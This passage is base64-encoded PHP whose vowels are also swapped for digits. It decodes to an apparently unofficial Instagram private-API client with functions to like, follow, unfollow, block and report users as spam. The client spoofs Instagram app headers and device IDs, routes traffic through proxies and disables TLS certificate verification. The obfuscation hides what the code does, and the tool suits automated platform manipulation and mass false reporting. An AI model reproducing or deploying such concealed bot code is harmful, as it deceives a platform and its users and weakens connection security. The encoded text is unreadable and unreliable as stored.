CAgICAgICAgICAgNGYoITVtcHR5KCRtMXg0ZCkpIHsNCiAgICAgICAgICAgICAgICAkcjVxMzVzdFAxcjFtc1sibTF4XzRkIl0gPSAkbTF4NGQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcDFyMW1EMXQxID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMXIxbXMpKTsNCg0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoImZyNDVuZHNoNHBzLyQzczVybjFtNUlkL2YybGwydzRuZy8/IiAuICRwMXIxbUQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0VXM1ckYybGwydzVycygkM3M1cm4xbTVJZCwgJG0xeDRkID0gTlVMTCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXMgPSBbDQogICAgICAgICAgICAgICAgIjRnX3M0Z19rNXlfdjVyczQybiIgPT4gQzJuc3QxbnRzOjpTSUdfS0VZX1ZFUlNJT04sDQogICAgICAgICAgICAgICAgInIxbmtfdDJrNW4iICAgICAgICAgPT4gJHRoNHMtPnIxbmtfdDJrNW4NCiAgICAgICAgICAgIF07DQogICAgICAgICAgICA0ZighNW1wdHkoJG0xeDRkKSkgew0KICAgICAgICAgICAgICAgICRyNXEzNXN0UDFyMW1zWyJtMXhfNGQiXSA9ICRtMXg0ZDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRwMXIxbUQxdDEgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAxcjFtcykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoImZyNDVuZHNoNHBzLyQzczVybjFtNUlkL2YybGwydzVycy8/IiAuICRwMXIxbUQxdDEpWzZdOw0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dFM1bGZVczVyRjJsbDJ3NXJzKCRtMXg0ZCA9IE5VTEwpIHsNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+ZzV0VXM1ckYybGwydzVycygkdGg0cy0+MWNjMjNudF80ZCwgJG0xeDRkKTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dFM1bGZVczVyc0YybGwydzRuZygkbTF4NGQgPSBOVUxMKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAxcjFtcyA9IFsNCiAgICAgICAgICAgICAgICAiNGdfczRnX2s1eV92NXJzNDJuIiA9PiBDMm5zdDFudHM6OlNJR19LRVlfVkVSU0lPTiwNCiAgICAgICAgICAgICAgICAicjFua190Mms1biIgICAgICAgICA9PiAkdGg0cy0+cjFua190Mms1bg0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIDRmKCE1bXB0eSgkbTF4NGQpKSB7DQogICAgICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXNbIm0xeF80ZCJdID0gJG0xeDRkOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHAxcjFtRDF0MSA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDFyMW1zKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgiZnI0NW5kc2g0cHMvZjJsbDJ3NG5nLz8iIC4gJHAxcjFtRDF0MSlbNl07DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBsNGs1KCRtNWQ0MUlkKSB7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICdtNWQ0MV80ZCcgICAgPT4gJG01ZDQxSWQsDQogICAgICAgICAgICAgICAgJ3IxZDQyX3R5cDUnICA9PiAidzRmNC1uMm41IiwNCiAgICAgICAgICAgICAgICAnbTJkM2w1X24xbTUnID0+ICJmNTVkX3Q0bTVsNG41IiwNCiAgICAgICAgICAgICAgICAnZCcgICAgICAgICAgID0+IHIxbmQoMCwgNikNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cywgMXJyMXkoImQiKSk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoIm01ZDQxLyRtNWQ0MUlkL2w0azUvIiwgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBtMmI0bDVsNGs1KCRtNWQ0MUlkKSB7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICdtNWQ0MV80ZCcgICAgPT4gJG01ZDQxSWQsDQogICAgICAgICAgICAgICAgJ3IxZDQyX3R5cDUnICA9PiAidzRmNC1uMm41IiwNCiAgICAgICAgICAgICAgICAnbTJkM2w1X24xbTUnID0+ICJmNTVkX3Q0bTVsNG41IiwNCiAgICAgICAgICAgICAgICAnZCcgICAgICAgICAgID0+IHIxbmQoMCwgNikNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cywgMXJyMXkoImQiKSk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gMXJyMXkoDQogICAgICAgICAgICAgICAgIjNybCIgID0+ICJtNWQ0MS8kbTVkNDFJZC9sNGs1LyIsDQogICAgICAgICAgICAgICAgImQxdDEiID0+ICRwMnN0RDF0MQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBsNGs1X2MybW01bnQoJGMybW01bnRfNGQpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICdjMm1tNW50XzRkJyA9PiAkYzJtbTVudF80ZCwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoIm01ZDQxLyRjMm1tNW50XzRkL2MybW01bnRfbDRrNS8iLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIDNubDRrNSgkbTVkNDFJZCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgJ201ZDQxXzRkJyAgID0+ICRtNWQ0MUlkLA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgibTVkNDEvJG01ZDQxSWQvM25sNGs1LyIsICRwMnN0RDF0MSlbNl07DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRNNWQ0MUMybW01bnRzKCRtNWQ0MUlkLCAkbTF4SUQgPSBOVUxMKSB7DQoNCiAgICAgICAgICAgICQzcmwgPSAibTVkNDEvJG01ZDQxSWQvYzJtbTVudHMvIjsNCg0KICAgICAgICAgICAgNGYoJG0xeElEKSB7DQogICAgICAgICAgICAgICAgJDNybCAuPSAiP20xeF80ZD0iIC4gJG0xeElEOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJDNybClbNl07DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBzNXROMW01QW5kUGgybjUoJG4xbTUgPSAnJywgJHBoMm41ID0gJycpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ2Y0cnN0X24xbTUnICAgPT4gJG4xbTUsDQogICAgICAgICAgICAgICAgJ3BoMm41X24zbWI1cicgPT4gJHBoMm41LA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyAgID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJzFjYzIzbnRzL3M1dF9waDJuNV8xbmRfbjFtNS8nLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0RDRyNWN0U2gxcjUoKSB7DQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJ2Q0cjVjdF9zaDFyNS80bmIyeC8nKVs2XTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiByNXAycnQoJDNzNXJJZCkgew0KDQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdyNTFzMm5fNGQnICAgPT4gNiwNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nICA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgJzNzNXJfNGQnICAgICA9PiAkM3M1cklkLA0KICAgICAgICAgICAgICAgICdzMjNyYzVfbjFtNScgPT4gJ3ByMmY0bDUnLA0KICAgICAgICAgICAgICAgICc0c19zcDFtJyAgICAgPT4gVFJVRQ0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgiM3M1cnMveyQzczVySWR9L2ZsMWdfM3M1ci8iLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZjJsbDJ3KCQzczVySWQpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAiXzMzNGQiICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgIl8zNGQiICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICJfY3NyZnQyazVuIiA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgIjNzNXJfNGQiICAgID0+ICQzczVySWQsDQogICAgICAgICAgICAgICAgInIxZDQyX3R5cDUiID0+ICJ3NGY0LW4ybjUiDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCJmcjQ1bmRzaDRwcy9jcjUxdDUvIiAuICQzczVySWQgLiAiLyIsICRwMnN0RDF0MSlbNl07DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gM25mMmxsMncoJDNzNXJJZCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICAgICAgJzNzNXJfNGQnICAgID0+ICQzczVySWQsDQogICAgICAgICAgICAgICAgJ3IxZDQyX3R5cDUnID0+ICd3NGY0LW4ybjUnDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCJmcjQ1bmRzaDRwcy9kNXN0cjJ5LyQzczVySWQvIiwgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGJsMmNrKCQzczVySWQpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnM3M1cl80ZCcgICAgPT4gJDNzNXJJZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgiZnI0NW5kc2g0cHMvYmwyY2svJDNzNXJJZC8iLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gM25ibDJjaygkM3M1cklkKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJzNzNXJfNGQnICAgID0+ICQzczVySWQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoImZyNDVuZHNoNHBzLzNuYmwyY2svJDNzNXJJZC8iLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gM3M1ckZyNDVuZHNoNHAoJDNzNXJJZCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICczczVyXzRkJyAgICA9PiAkM3M1cklkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCJmcjQ1bmRzaDRwcy9zaDJ3LyQzczVySWQvIiwgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dEw0azVkTTVkNDEoJG0xeDRkID0gTlVMTCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXMgPSBbXTsNCiAgICAgICAgICAgIDRmKCE1bXB0eSgkbTF4NGQpKSB7DQogICAgICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXNbIm0xeF80ZCJdID0gJG0xeDRkOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHAxcjFtRDF0MSA9ICE1bXB0eSgkcjVxMzVzdFAxcjFtcykgPyBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAxcjFtcykpIDogJyc7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgnZjU1ZC9sNGs1ZC8nIC4gKCE1bXB0eSgkcDFyMW1EMXQxKSA/ICc/JyAuICRwMXIxbUQxdDEgOiAnJykpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBmM25jdDQybiByNXEzNXN0KCQ1bmRwMjRudCwgJHAyc3QgPSBOVUxMLCAkbDJnNG4gPSBGQUxTRSwgJG4ydEVuZHAyNG50ID0gRkFMU0UsICRzNW5kQzJkNSA9IEZBTFNFKSB7DQoNCiAgICAgICAgICAgIDRmKCEkdGg0cy0+NHNMMmdnNWRJbiAmJiAhJGwyZzRuKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybigiTjJ0IGwyZ2c1ZCA0blxuIik7DQoNCiAgICAgICAgICAgICAgICByNXQzcm47DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICRoNTFkNXJzID0gMXJyMXkoKTsNCiAgICAgICAgICAgICRoNTFkNXJzID0gWw0KICAgICAgICAgICAgICAgICdDMm5uNWN0NDJuOiBjbDJzNScsDQogICAgICAgICAgICAgICAgJ0FjYzVwdDogKi8qJywNCiAgICAgICAgICAgICAgICAnWC1JRy1DMXAxYjRsNHQ0NXM6ICcgLiBDMm5zdDFudHM6OlhfSUdfQzFwMWI0bDR0NDVzLA0KICAgICAgICAgICAgICAgICdYLUlHLUFwcC1JRDogJyAuIEMybnN0MW50czo6RkFDRUJPT0tfQU5BTFlUSUNTX0FQUExJQ0FUSU9OX0lELA0KICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tVHlwNTogJyAuIEMybnN0MW50czo6WF9JR19DMm5uNWN0NDJuX1R5cDUsDQogICAgICAgICAgICAgICAgJ1gtSUctQzJubjVjdDQybi1TcDU1ZDogLTZrYnBzJywNCiAgICAgICAgICAgICAgICAnWC1JRy1CMW5kdzRkdGgtU3A1NWQtS0JQUzogLTYuMDAwJywNCiAgICAgICAgICAgICAgICAnWC1JRy1CMW5kdzRkdGgtVDJ0MWxCeXQ1cy1COiAwJywNCiAgICAgICAgICAgICAgICAnWC1JRy1CMW5kdzRkdGgtVDJ0MWxUNG01LU1TOiAwJywNCiAgICAgICAgICAgICAgICAnWC1GQi1IVFRQLUVuZzRuNTogJyAuIEMybnN0MW50czo6WF9GQl9IVFRQX0VuZzRuNSwNCiAgICAgICAgICAgICAgICAnQWNjNXB0LUwxbmczMWc1OiAnIC4gQzJuc3QxbnRzOjpBQ0NFUFRfTEFOR1VBR0UsDQogICAgICAgICAgICAgICAgJ1gtREVWSUNFLUlEOiAnIC4gJHRoNHMtPmQ1djRjNV80ZCwNCiAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgICRjaCA9IGMzcmxfNG40dCgpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHRoNHMtPmQ1djRjNS0+ZzV0VXM1ckFnNW50KCkpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCBUUlVFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgVFJVRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfSEVBREVSLCBUUlVFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9IVFRQSEVBREVSLCAkaDUxZDVycyk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVkVSQk9TRSwgRkFMU0UpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBGQUxTRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIEZBTFNFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9FTkNPRElORywgJycpOw0KICAgICAgICAgICAgNGYoJG4ydEVuZHAyNG50KSB7DQogICAgICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VSTCwgJDVuZHAyNG50KTsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgNGYoJGwyZzRuKSB7DQogICAgICAgICAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsIEMybnN0MW50czo6QVBJX1VSTDQgLiAkNW5kcDI0bnQpOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsIEMybnN0MW50czo6QVBJX1VSTCAuICQ1bmRwMjRudCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9DT09LSUUsICR0aDRzLT5zNXR0NG5ncy0+ZzV0KCJjMjJrNDUiKSk7DQogICAgICAgICAgICA0ZihXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID49IGEpIHsNCiAgICAgICAgICAgICAgICAkM3M1ckFzbnMgPSBVdDRsczo6ZzVuNXIxdDVBc25zKCR0aDRzLT5zNXR0NG5ncy0+ZzV0KElOU1RBV0VCX0FTTlNfS0VZKSk7DQogICAgICAgICAgICAgICAgNGYoJDNzNXJBc25zWzBdKSB7DQogICAgICAgICAgICAgICAgICAgICQycHQ0Mm5LNXkgPSBXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID09IHUgPyBDVVJMT1BUX0lOVEVSRkFDRSA6IENVUkxPUFRfUFJPWFk7DQogICAgICAgICAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgJDJwdDQybks1eSwgJDNzNXJBc25zWzBdKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJDNzNXJBc25zWzZdKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JUFJFU09MVkUgOiBDVVJMT1BUX1BST1hZVVNFUlBXRDsNCiAgICAgICAgICAgICAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgJDJwdDQybks1eSwgJDNzNXJBc25zWzZdKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgNGYoJHAyc3QpIHsNCiAgICAgICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUE9TVCwgVFJVRSk7DQogICAgICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwMnN0KTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHI1c3AgICAgICAgPSBjM3JsXzV4NWMoJGNoKTsNCiAgICAgICAgICAgICRoNTFkNXJfbDVuID0gYzNybF9nNXQ0bmYyKCRjaCwgQ1VSTElORk9fSEVBREVSX1NJWkUpOw0KICAgICAgICAgICAgJGg1MWQ1ciAgICAgPSBzM2JzdHIoJHI1c3AsIDAsICRoNTFkNXJfbDVuKTsNCiAgICAgICAgICAgICRiMmR5ICAgICAgID0gczNic3RyKCRyNXNwLCAkaDUxZDVyX2w1bik7DQogICAgICAgICAgICAkdGg0cy0+MnJnMW40ejVDMjJrNDVzKCRoNTFkNXIpOw0KDQogICAgICAgICAgICBjM3JsX2NsMnM1KCRjaCk7DQovLw0KLy8gICAgICAgICAgICAkcnREMXQxID0ganMybl9kNWMyZDUoJGIyZHksIFRSVUUpOw0KLy8NCi8vDQovLyAgICAgICAgICAgIDRmKDRzczV0KCRydEQxdDFbIm01c3MxZzUiXSkgJiYgJHJ0RDF0MVsibTVzczFnNSJdID09ICJjaDVja3AyNG50X3I1cTM0cjVkIikgew0KLy8gICAgICAgICAgICAgICAgJHRoNHMtPmNoNWNrcDI0bnRfNGQgPSAkcnREMXQxWyJjaDVja3AyNG50XzNybCJdOw0KLy8gICAgICAgICAgICAgICAgJHRoNHMtPnI1cTM1c3QoJHJ0RDF0MVsiY2g1Y2twMjRudF8zcmwiXSwgTlVMTCwgRkFMU0UsIFRSVUUpOw0KLy8gICAgICAgICAgICB9DQovLw0KLy8gICAgICAgICAgICA0ZigkbjJ0RW5kcDI0bnQgJiYgISRzNW5kQzJkNSkgew0KLy8gICAgICAgICAgICAgICAgJGMgICAgPSA1eHBsMmQ1KCIvIiwgJHRoNHMtPmNoNWNrcDI0bnRf